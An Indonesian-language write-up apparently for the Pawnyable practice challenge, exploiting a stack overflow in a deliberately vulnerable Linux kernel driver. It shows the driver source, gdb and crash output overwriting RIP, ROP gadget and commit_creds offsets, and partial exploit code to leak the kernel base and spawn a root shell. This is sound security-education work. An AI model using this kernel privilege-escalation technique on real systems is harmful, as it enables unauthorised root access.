Post

Linux Kernel PWN: Stack Overflow

Linux Kernel PWN: Stack Overflow

Introduction

Pada tantangan sebelumnya, kita sudah mempelajari hal mendasar tentang eksploitasi kernel linux, saya sarankan kepada pembaca untuk mempelajari eksploitasi biner diarea userland terlebih dahulu sebelum membaca tulisan ini, untuk menguatkan pengetahuan dasar. dan untuk tantangan kali ini, saya akan menulis langkah demi langkah untuk mengeksploitasi kerentanan stack overflow pada module kernel linux yang rentan. untuk file tantangannya saya mendapatkannya dari sini, atau bisa langsung mendownloadnya disini.

hal penting yang harus kita ketahui adalah, area stack pada kernel digunakan oleh semua driver atau perangkat. contohnya satu file deskriptor pada suatu modul bisa digunakan oleh modul lainnya, sehingga jika ada kebocoran memory seperti bug Use-after-free pada suatu driver. penyerang bisa memanfaatkan dan merusak objek lain untuk memicu bug tersebut. kerentanan seperti stack overflow pada kernel juga tidak jauh berbeda pada kerentanan serupa di area user, konsepnya adalah untuk mengontrol RIP sesuai dengan yang kita inginkan, tentunya untuk mendapatkan hak akses root.


Analisa Kerentanan

sebelum melangkah lebih jauh, saya sarankan anda untuk menggunakan script untuk mengcompress dan mendecompress file sistemnya terlebih dahulu yang saya sediakan pada tulisan sebelumnya. perlu diingat bahwa dalam tantangan kemarin file sistem terkompresi dengan nama initramfs.cpio, sedangkan pada tantangan kali ini adalah rootfs.cpio. anda tinggal mengubah namanya saja dalam script tersebut. jika sudah, ayo kita lihat file sumber yang disediakan dalam tantangan kali ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Holstein v1 - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\n");

  g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

static ssize_t module_read(struct file *file,
                        char __user *buf, size_t count,
                        loff_t *f_pos)
{
  char kbuf[BUFFER_SIZE] = { 0 };

  printk(KERN_INFO "module_read called\n");

  memcpy(kbuf, g_buf, BUFFER_SIZE);
  if (_copy_to_user(buf, kbuf, count)) {
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }

  return count;
}

static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  char kbuf[BUFFER_SIZE] = { 0 };

  printk(KERN_INFO "module_write called\n");

  if (_copy_from_user(kbuf, buf, count)) {
    printk(KERN_INFO "copy_from_user failed\n");
    return -EINVAL;
  }
  memcpy(g_buf, kbuf, BUFFER_SIZE);

  return count;
}

static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

static struct file_operations module_fops =
  {
   .owner   = THIS_MODULE,
   .read    = module_read,
   .write   = module_write,
   .open    = module_open,
   .release = module_close,
  };

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
    printk(KERN_WARNING "Failed to register device\n");
    return -EBUSY;
  }

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    printk(KERN_WARNING "Failed to add cdev\n");
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

kita dapat melihat pada fungsi module_open() bahwa variable global g_buf dialokasikan menggunakan kmalloc dengan ukuran BUFFER_SIZE = 0x400 dan dengan flag GFP_KERNEL

1
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);

flag GFP_KERNEL (Get Free Page) dimaksudkan untuk alokasi tujuan umum. dan kita juga bisa melihat modul_write() dan module_read(), kedua fungsi itu digunakan untuk membaca dan menulis buffer yang kita kirim, bagian yang rentan dikedua fungsi tersebut cukup jelas.

1
2
3
4
5
6
7
8
fungsi module_read()
...
 memcpy(kbuf, g_buf, BUFFER_SIZE);
  if (_copy_to_user(buf, kbuf, count)) { //count menyebabkan overflow
    printk(KERN_INFO "copy_to_user failed\n");
    return -EINVAL;
  }
....

variable g_buf disalin kepada variable kbuf yang nantinya akan dikirim ke user menggunakan copy_to_user(), hanya saja tidak ada validasi untuk count yang nanti user terima yang artinya kita bisa membaca lebih dari ukuran BUFFER_SIZE(0x400).

1
2
3
4
5
6
7
8
fungsi module_write()
...
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }
...

didalam fungsi ini, kita juga dapat menulis lebih dari ukuran BUFFER_SIZE(0x400), dalam hal ini jelas. kita bisa melakukan pembacaan dan penulisan sewenang-wenang untuk meningkatkan hak istimewa.

1
2
3
4
5
6
static int module_close(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_close called\n");
  kfree(g_buf);
  return 0;
}

dan fungsi module_close() adalah fungsi untuk membebaskan g_buf yang sebelumnya dialokasikan, atau menggunakan fungsi close() nanti.


Exploiting

baiklah, untuk pertama sebelum kita berinteraksi dengan module ini, kita perlu mengatur hal lainnya untuk melakukan debugging… buka file ini:

1
2
nano rootfs/etc/init.d/S99pawnyable

kita harus menonaktifkan dmesg untuk mengetahui address module kernel dan pesan dari module tersebut.

1
2
3
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

menjadi

1
2
3
#echo 2 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict

jangan lupa untuk menyetel setuidgid ke 0 untuk akses root saat debugging. atur kembali ke 1337 jika eksploit sudah siap nanti.

1
2
setsid cttyhack setuidgid 1337 sh

untuk proses debugging nanti, kita harus menonaktifkan kaslr agar alamat fungsi yang ada didalam kernel tidak berubah-ubah. aktifkan kembali saat eksploit sudah siap nanti.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=0 nokaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd rootfs_updated.cpio \
    -net nic,model=virtio \
    -net user


diatas, KPTI di nonaktifkan juga saat debugging. aktifkan lagi saat eksploit sudah siap. baik, sekarang kita akan berinteraksi dengan module kernel dengan kode ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#define _GNU_SOURCE
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<string.h>
#include<sys/ioctl.h>

#define ERR(msg)                                                               \
     do {                                                                      \
     perror(msg);                                                              \
     exit(EXIT_FAILURE);                                                       \
    } while (0)


#define DEV "/dev/holstein"

int main()
{
    char buff[0x100];
    memset(buff,0,sizeof(buff));

    int fd = open(DEV, O_RDWR);
    if(fd==-1){
        ERR("open(DEV)");
    }else{
        puts("perangkat terbuka");
    }

    write(fd,"Hello World",12);

    close(fd); //module_close() akan dipanggil lalu g_buff dibebaskan menggunakan kfree()
}

compress kembali file system:

1
./compress.sh

lalu jalankan ./run.sh

setelah qemu muncul, jalankan exploit kita:

1
2
3
/ # ./exploit
perangkat terbuka

lalu kita lihat pesan module dengan dmesg tail dan ini yang akan muncul dibagian paling bawah:

1
2
3
4
5
6
7
8
9
...
vuln: loading out-of-tree module taints kernel.
module_open called
module_write called
module_close called
module_open called
module_write called
module_close called

anda mungkin bertanya-tanya, kenapa “hello world” kita yang kita kirim menggunakan fungsi write() tidak muncul? untuk mengetahui dan melihat itu, kita harus menggunakan gdb untuk mendebug fungsi module_write()

untuk melakukan debugging, buka script run.sh dan tampbahkan opsi s dan S :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -s \
    -S  \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=0 nokaslr" \
    -no-reboot \
    -cpu qemu64,+smap,+smep \
    -smp 1 \
    -monitor /dev/null \
    -initrd rootfs_updated.cpio \
    -net nic,model=virtio \
    -net user

perlu diketahui, setiap kali kita melakukan perubahan pada file system, kita harus mengcompressnya kembali, agar perubahan yang terjadi pada folder system rootfs atau initramfs di perbarui kedalam fila system yang terkompresi, karena file system rootfs.cpio lah yang digunakan sebagai lingkungan dari kernel tersebut.

untuk debugging, gunakan dua terimnal. satu untuk menjalankan qemu dan satu untuk mendebug vmlinux nya.

1
./run.sh
1
2
gdb vmlinux
target remote:1234 lalu tekan 'c' agar qemu mulai booting 

setelah qemu berjalan, ketik ini:

1
2
3
4
5
6
7
8
9
10
11
...
/ # cat /proc/kallsyms | grep vuln

ffffffffc0000000 t module_open	[vuln]
ffffffffc0000069 t module_read	[vuln]
ffffffffc0000120 t module_write	[vuln]
ffffffffc000020f t module_close	[vuln]
ffffffffc0000241 t module_cleanup	[vuln]
ffffffffc0000241 t cleanup_module	[vuln]


lalu pada terimnal yang menjalankan gdb, ketik ctrl+c untuk menghentikan qemu dan kita bisa menempatkan breakpoint yang kita inginkan, karena kita ingin mendebug fungsi module_write() kita ketik b *0xffffffffc0000120 lalu enter. setelah breakpoint terpasang tekan c agar qemu jalan kembali, lalu jalankan exploit otomatis akan memicu breakpoint yang kita pasang. dan ini yang gdb tampilkan, maaf karena saya tidak menampilkan gambar, karena lebih praktis menampilkan kode salinan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 RAX  12
 RBX  0xffff88800334fc00 ◂— 0
*RCX  0
*RDX  127
*RDI  0xffff8880032b3c00 ◂— 0x1900000080
*RSI  0xffffc90000567ea8 —▸ 0xffffc90000567ee8 —▸ 0xffffc90000567f20 —▸ 0xffffc90000567f30 —▸ 0xffffc90000567f48 ◂— ...
*R8   0xffffffff81ea4608 ◂— 0xc0000000ffffefff
*R9   0x4ffb
*R10  0xfffff000
*R11  0x3fffffffffffffff
 R12  12
 R13  0
 R14  0x48603a ◂— 'Hello World'
 R15  0xffffc90000567ef8 ◂— 0
 RBP  0xffffc90000567ee8 —▸ 0xffffc90000567f20 —▸ 0xffffc90000567f30 —▸ 0xffffc90000567f48 ◂— 0
*RSP  0xffffc90000567eb8 ◂— 0
*RIP  0xffffffff8113d4d2 ◂— 0x367fed854dc58949
──────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────
 ► 0xffffffff8113d4d2    mov    r13, rax     R13 => 0xc
   0xffffffff8113d4d5    test   r13, r13     0xc & 0xc     EFLAGS => 0x206 [ cf PF af zf sf IF df of ]
   0xffffffff8113d4d8  ✔ jg     0xffffffff8113d510          <0xffffffff8113d510>
    ↓
   0xffffffff8113d510    test   byte ptr [rbx + 0x47], 4     0 & 4     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
   0xffffffff8113d514    jne    0xffffffff8113d4da          <0xffffffff8113d4da>
 
   0xffffffff8113d516    mov    rdi, qword ptr [rbx + 0x18]     RDI, [0xffff88800334fc18] => 0xffff888002b47a80 ◂— 0x200500008
   0xffffffff8113d51a    lea    r11, [rbx + 0x10]               R11 => 0xffff88800334fc10 —▸ 0xffff8880027222a0 —▸ 0xffff888002804300 ◂— ...
   0xffffffff8113d51e    mov    r10d, 2                         R10D => 2
   0xffffffff8113d524    mov    r9, qword ptr [rdi + 0x30]      R9, [0xffff888002b47ab0] => 0xffff888003390ac0 ◂— 0xd21b6
   0xffffffff8113d528    movzx  eax, word ptr [r9]              EAX, [0xffff888003390ac0] => 0x21b6
   0xffffffff8113d52c    and    ax, 0xf000                      AX => 0x2000
───────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc90000567eb8 ◂— 0
01:0008│-028 0xffffc90000567ec0 —▸ 0xffff88800334fc00 ◂— 0
02:0010│-020 0xffffc90000567ec8 —▸ 0xffff88800334fc00 ◂— 0
03:0018│-018 0xffffc90000567ed0 —▸ 0x48603a ◂— 'Hello World'
04:0020│-010 0xffffc90000567ed8 ◂— 0xc /* '\x0c' */
05:0028│-008 0xffffc90000567ee0 ◂— 0
06:0030│ rbp 0xffffc90000567ee8 —▸ 0xffffc90000567f20 —▸ 0xffffc90000567f30 —▸ 0xffffc90000567f48 ◂— 0
07:0038│+008 0xffffc90000567ef0 —▸ 0xffffffff8113d7d3 ◂— 0x978c08548c58949

saya menggunakan pwndbg sebagai ekstensi gdb, perhatikan status registernya:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  12
 RBX  0xffff88800334fc00 ◂— 0
*RCX  0
*RDX  127
*RDI  0xffff8880032b3c00 ◂— 0x1900000080
*RSI  0xffffc90000567ea8 —▸ 0xffffc90000567ee8 —▸ 0xffffc90000567f20 —▸ 0xffffc90000567f30 —▸ 0xffffc90000567f48 ◂— ...
*R8   0xffffffff81ea4608 ◂— 0xc0000000ffffefff
*R9   0x4ffb
*R10  0xfffff000
*R11  0x3fffffffffffffff
 R12  12
 R13  0
 R14  0x48603a ◂— 'Hello World'
 R15  0xffffc90000567ef8 ◂— 0
 RBP  0xffffc90000567ee8 —▸ 0xffffc90000567f20 —▸ 0xffffc90000567f30 —▸ 0xffffc90000567f48 ◂— 0
*RSP  0xffffc90000567eb8 ◂— 0
*RIP  0xffffffff8113d4d2 ◂— 0x367fed854dc58949

register RAX menyimpan nilai 12 byte dalam desimal, itu adalah panjang karakter dari “Hello World\n”. dan register R14 sendiri menyimpan offset 0x48603a yang berisi dari string Hello World itu sendiri. tekan finish untuk melihat status register yang sebenarnya. lalu ketik:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/20gx $r14
0x48603a:	0x6f57206f6c6c6548	0x0000000000646c72
0x48604a:	0x0000000000000000	0x0000000000000000
0x48605a:	0xbd71000000000000	0xbe43fff7bd3afff7
0x48606a:	0xbd33fff7be2afff7	0xbe11fff7bd93fff7
0x48607a:	0xbcb1fff7be5efff7	0xbcb1fff7bcb1fff7
0x48608a:	0xbcb1fff7be51fff7	0xbe94fff7be51fff7
0x48609a:	0xbe8afff7be51fff7	0xbe80fff7be51fff7
0x4860aa:	0xbe6cfff7be76fff7	0xbe58fff7be62fff7
0x4860ba:	0xbc71fff7be9efff7	0xbc71fff7bc71fff7
0x4860ca:	0xbc71fff7be11fff7	0xbe54fff7be11fff7
pwndbg> x/s $r14
0x48603a:	"Hello World" -> data yang kita kirim menggunakan write() tadi

sekarang, karena kita sudah tahu dimana kerentanan dan cara berkomunikasi dengan module tersebut. ayo kita coba melakukan penulisan, sebelumnya ukuran BUFFER_SIZE dalam module tersebut adalah 0x400 dan tidak ada pengecekan ukuran, bagaimana jika kita menulis data yang melebihi ukuran tersebut? ayo coba.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#define _GNU_SOURCE
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<string.h>
#include<sys/ioctl.h>

#define ERR(msg)                                                               \
     do {                                                                      \
     perror(msg);                                                              \
     exit(EXIT_FAILURE);                                                       \
    } while (0)



int main()
{
    char buff[0x800];
    memset(buff,0x41,sizeof(buff));

    int fd = open("/dev/holstein", O_RDWR);
    if(fd==-1){
        ERR("open(holstein)");
    }else{
        puts("perangkat terbuka");
    }

    write(fd,buff,0x800);

    close(fd); //module_close() akan dipanggil lalu g_buff dibebaskan menggunakan kfree()
}


lalu jalankan qemu dan gdb seperti tadi, pasang kembali breakpoint dan jalankan exploit, dan ini yang saya dapatkan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
perangkat terbuka
BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..()
kernel stack overflow (page fault): 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 162 Comm: exploit Tainted: G           O      5.10.7 #1
Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-14
RIP: 0010:__memset+0x24/0x30
Code: cc cc cc cc cc cc 66 66 90 66 90 49 89 f9 48 89 d1 83 e2 07 48 c1 e9 03 43
RSP: 0018:ffffc9000054fa58 EFLAGS: 00000246
RAX: 0000000000000000 RBX: 0000000000000558 RCX: 0000000000000055
RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffc90000550000
RBP: ffffc9000054fa78 R08: ffffffff81ea4608 R09: ffffc90000550000
R10: 00000000fffff000 R11: 3fffffffffffffff R12: ffffc9000054faa8
R13: 00000000000002a8 R14: 00007fff4999f780 R15: ffffc9000054fef8
FS:  00000000004ba380(0000) GS:ffff888007600000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffc90000550000 CR3: 0000000003240000 CR4: 00000000003006f0
Call Trace:
 ? _copy_from_user+0x70/0x80
 module_write+0x75/0xef [vuln]
Modules linked in: vuln(O)
---[ end trace 9f9406b38e9d8c1e ]---
RIP: 0010:__memset+0x24/0x30

qemu menunjukkan pesan kesalahan BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..() kernel stack overflow (page fault): 0000 [#1] PREEMPT SMP NOPTI artinya kernel menjadi crash karena register tertentu dan akarnya adalah pointer __ptrval__, penting untuk memahami pesan error saa kita melakukan debugging, jadi karena pesan kesalahannya tidak sesuai dengan apa yang saya inginkan, mari kita ubah kode kita menjadi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#define _GNU_SOURCE
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
#include<string.h>
#include<sys/ioctl.h>

#define ERR(msg)                                                               \
     do {                                                                      \
     perror(msg);                                                              \
     exit(EXIT_FAILURE);                                                       \
    } while (0)



int main()
{
    char buff[0x420];
    memset(buff,0x41,sizeof(buff));

    int fd = open("/dev/holstein", O_RDWR);
    if(fd==-1){
        ERR("open(DEV)");
    }else{
        puts("perangkat terbuka");
    }

    write(fd,buff,0x420);

    close(fd); //module_close() akan dipanggil lalu g_buff dibebaskan menggunakan kfree()
}

kita jalankan kembali qemu dan gdb dan picu breakpoint. akhirnya kita mendapatkan masalah seperti ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
perangkat terbuka
general protection fault: 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 162 Comm: exploit Tainted: G           O      5.10.7 #1
Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-14
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc90000567eb8 EFLAGS: 00000202
RAX: 0000000000000420 RBX: ffff8880033c1500 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc90000567ea8 RDI: ffff8880033cd000
RBP: 4141414141414141 R08: ffffffff81ea4608 R09: 0000000000004ffb
R10: 00000000fffff000 R11: 3fffffffffffffff R12: 0000000000000420
R13: 0000000000000000 R14: 00007ffd9bbbbca0 R15: ffffc90000567ef8
FS:  00000000004ba380(0000) GS:ffff888007600000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 4141414141414141 CR3: 000000000336a000 CR4: 00000000003006f0
Call Trace:
 ? ksys_write+0x53/0xd0
 ? __x64_sys_write+0x15/0x20
 ? do_syscall_64+0x38/0x50
 ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
Modules linked in: vuln(O)
---[ end trace aa16eb9ba4a7f0db ]---
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at RIP 0x4141414141414117.

seperti saat melakukan fuzzing buffer overflow pada userland, di kerneland juga kita mencoba untuk menghitung berapa byte yang diperlukan sampai kita mampu menimpa register RIP.

jadi, kita akan mengubah ukuran buff pada kode eksploit kita menjadi

1
2
3
4
 char buff[0x410];
 memset(buff,0x41,sizeof(buff));
 ...
 write(fd,buff,0x410);

karena kita ingin mengetahui dalam berapa byte kita bisa mengontrol register RIP. jadi saya menggunakan ida untuk mengetahui address dari copy_from_user yang ada didalam fungsi module_write. dan juga pada bagian intruksi retn yang ada pada offset 0xffffffffc000020a

jadi, kita akan memberi breakpoint pada address 0xffffffffc0000190, karena address base module vuln.ko adalah 0xffffffffc0000000 ditambah dengan offset copy_from_user yang terletak pada 0x190.

1
2
3
4
5
/ # cat /proc/modules

vuln 16384 0 - Live 0xffffffffc0000000 (O)
/ # 

kita akan pasang breakpoint kembali pada gdb

1
b *0xffffffffc0000190 dan b *0xffffffffc000020a

lalu picu module_write dengan cara menjalankan exploit kita, dan ini hasilnya:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*RAX  0xffffc90000557aa8 ◂— 0
*RBX  0xffff8880033a2000 ◂— 0
*RCX  0x7ffed2353170 ◂— 0x4141414141414141 ('AAAAAAAA')
*RDX  0x410
*RDI  0xffffc90000557aa8 ◂— 0
*RSI  0x7ffed2353170 ◂— 0x4141414141414141 ('AAAAAAAA')
*R8   0xffffffff81ea4608 ◂— 0xc0000000ffffefff
*R9   0x4ffb
*R10  0xfffff000
*R11  0x3fffffffffffffff
*R12  0x410
 R13  0
*R14  0x7ffed2353170 ◂— 0x4141414141414141 ('AAAAAAAA')
*R15  0xffffc90000557ef8 ◂— 0
*RBP  0xffffc90000557ea8 —▸ 0xffffc90000557ee8 —▸ 0xffffc90000557f20 —▸ 0xffffc90000557f30 —▸ 0xffffc90000557f48 ◂— ...
*RSP  0xffffc90000557a88 —▸ 0xffffc90000557ef8 ◂— 0
*RIP  0xffffffffc0000190 ◂— 0xc08548c125c17be8

tekan tombol c dan qemu akan menampilkan pesan kesalahan lagi:

1
2
3
4
5
6
7
8
9
10
11
12
13
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc9000050feb8 EFLAGS: 00000202
RAX: 0000000000000410 RBX: ffff8880032ced00 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc9000050fea8 RDI: ffff8880033d5400
RBP: 4141414141414141 R08: ffffffff81ea4608 R09: 0000000000004ffb
R10: 00000000fffff000 R11: 3fffffffffffffff R12: 0000000000000410
R13: 0000000000000000 R14: 00007ffdf552f6a0 R15: ffffc9000050fef8
FS:  00000000004ba380(0000) GS:ffff888007600000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 4141414141414141 CR3: 0000000003240000 CR4: 00000000003006f0


register RIP memang tertimpa, tapi yang saya ingin ketahui adalah berapa byte yang kita perlukan untuk mengontrol RIP?. 0x410 masih terlalu besar, lalu saya mencoba lagi dengan mengirim buffer sebanyak 0x408. ini hasilnya:

1
2
3
4
5
6
7
8
9
10
11
12
RIP: 0010:vfs_write+0xe6/0x280
Code: df e8 8e 35 8c 00 49 89 c5 4d 85 ed 7f 36 48 8b 53 20 0f b7 02 66 25 00 f9
RSP: 0018:4141414141414119 EFLAGS: 00000a87
RAX: 0000000000000408 RBX: ffff888003387800 RCX: ffff8880024cc800
RDX: ffff88800337eac0 RSI: 0000000000000000 RDI: ffff888002b479c0
RBP: 4141414141414141 R08: ffffffff81ea4608 R09: ffff88800337eac0
R10: 0000000000000002 R11: ffff888003387810 R12: 0000000000000408
R13: 0000000000000408 R14: 00007ffeba2c60e0 R15: ffffc90000557ef8
FS:  00000000004ba380(0000) GS:ffff888007600000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 4141414141414108 CR3: 000000000334c000 CR4: 00000000003006f0

menariknya adalah nilai pada RSP juga tertimpa kali ini, dan RIP berisi suatu pointer fungsi dari vfs_write, yang bisa kita manfaatkan untuk menghitung alamat basis kernel. kita bisa mengontrol rip setelah mengirim buffer sebesar 0x408 byte. itu yang saya maksudkan, jadi ayo kita buat exploitnya yang sekaligus membypass mitigasi KASLR, KPTI, SMAP dan SMEP.

tapi pertama, kita harus mencari gadget untuk melakukan ROP. saya menggunakan ROPgadget dan hanya mengambil offset dasarnya saja:

1
2
3
ROPgadget --binary ./vmlinux | grep "pop rdi"
ROPgadget --binary ./vmlinux | grep "pop rcx"
ROPgadget --binary ./vmlinux | grep "mov rdi"

lalu kita jalankan qemu untuk mencari offset:

1
2
3
cat /proc/kallsyms | grep commit_creds
cat /proc/kallsyms | grep prepare_kernel_cred
cat /proc/kallsyms | grep swapgs

ini contohnya:

1
2
3
4
5
6
7
unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long commit_creds; //0x6e390
unsigned long prepare_kernel_cred; //0x6e240
unsigned long pop_rdi; //0x27bbdc                                   
unsigned long pop_rcx; //0x32cdd3
unsigned long mov_rdi_rax_rep_movsq; //0x60c96b
unsigned long swapgs; //0x800e26   

ini adalah catatan penting dari pembuat tantangan ini tentang menemukan gadget rop, Kebanyakan alat untuk menemukan gadget ROP tidak diuji dengan baik terhadap biner dalam jumlah besar seperti kernel. Hati-hati, karena ada banyak keluaran yang salah, seperti melewatkan instruksi yang tidak didukung atau menghilangkan awalan instruksi. Selain itu, sebagian besar alat tidak dapat menentukan dengan tepat apakah suatu gadget benar-benar termasuk dalam area yang dapat dieksekusi di ruang kernel, jadi berhati-hatilah dengan gadget dengan alamat yang besar (misalnya 0xffffffff81cXXXYYY). baik, pertama kita akan membocorkan alamat basis kernel dengan kode ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define ERR(msg)                                                               \
  do {                                                                         \
    perror(msg);                                                               \
    exit(EXIT_FAILURE);                                                        \
  } while (0)

unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long prepare_kernel_creed;  //0x6e240
unsigned long commit_creds; //0x6e390
unsigned long pop_rdi; //0x27bbdc
unsigned long pop_rcx; //0x32cdd3
unsigned long mov_rdi_rax_rep_movsq; //0x60c96b
unsigned long kpti_trampoline; //0x800e26
unsigned long kbase, vfs_read;
int global_fd;

static void save_state() {
  __asm__(".intel_syntax noprefix;"
          "mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_rsp, rsp;"
          "pushf;"
          "pop user_rflags;"
          ".att_syntax;");
}

static void shell() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("ROOOOT");
  execve("/bin/sh", argv, envp);
}

void leak()
{
  global_fd = open("/dev/holstein",O_RDWR);
  if(global_fd == -1){
    ERR("open(holstein)");
  }else{
    puts("/dev/holstein terbuka");
  }

  //membocorkan kernel base
  printf("[*] tahap pertama, leaked\n");
  char buff[0x500];
  memset(buff,'A',0x480);
  read(global_fd,buff,0x410);

  for(int i=0;i < 0x480; i++){
     printf("[*]leaked = %d-> 0x%x: 0x%016lx\n",i,i,*(unsigned long*)(buff + i));
  }

}

int main()
{
    leak();

    return EXIT_SUCCESS;
}

kita menemukan address yang menarik disini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 ► 0 0xffffffffc0000069
   1 0xffffffff8113d33c
   2      0x100000000
   3 0xffff88800334aa00
   4 0xffff88800334aa00
   5   0x7ffccb164280
   6            0x410
   7              0x0
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/40gx $rsp
0xffffc90000567eb0:	0xffffffff8113d33c	0x0000000100000000
0xffffc90000567ec0:	0xffff88800334aa00	0xffff88800334aa00
0xffffc90000567ed0:	0x00007ffccb164280	0x0000000000000410
0xffffc90000567ee0:	0x0000000000000000	0xffffc90000567f20
0xffffc90000567ef0:	0xffffffff8113d6e3	0x0000000000000000
0xffffc90000567f00:	0x0000000000000000	0xffffc90000567f58
0xffffc90000567f10:	0x0000000000000000	0x0000000000000000
0xffffc90000567f20:	0xffffc90000567f30	0xffffffff8113d775
0xffffc90000567f30:	0xffffc90000567f48	0xffffffff8160bed8
0xffffc90000567f40:	0x0000000000000000	0x0000000000000000
0xffffc90000567f50:	0xffffffff8180007c	0x0000000000000001
0xffffc90000567f60:	0x00000000004ad868	0x00007ffccb1648c8
0xffffc90000567f70:	0x00007ffccb1648b8	0x00007ffccb164790
0xffffc90000567f80:	0x0000000000000001	0x0000000000000246
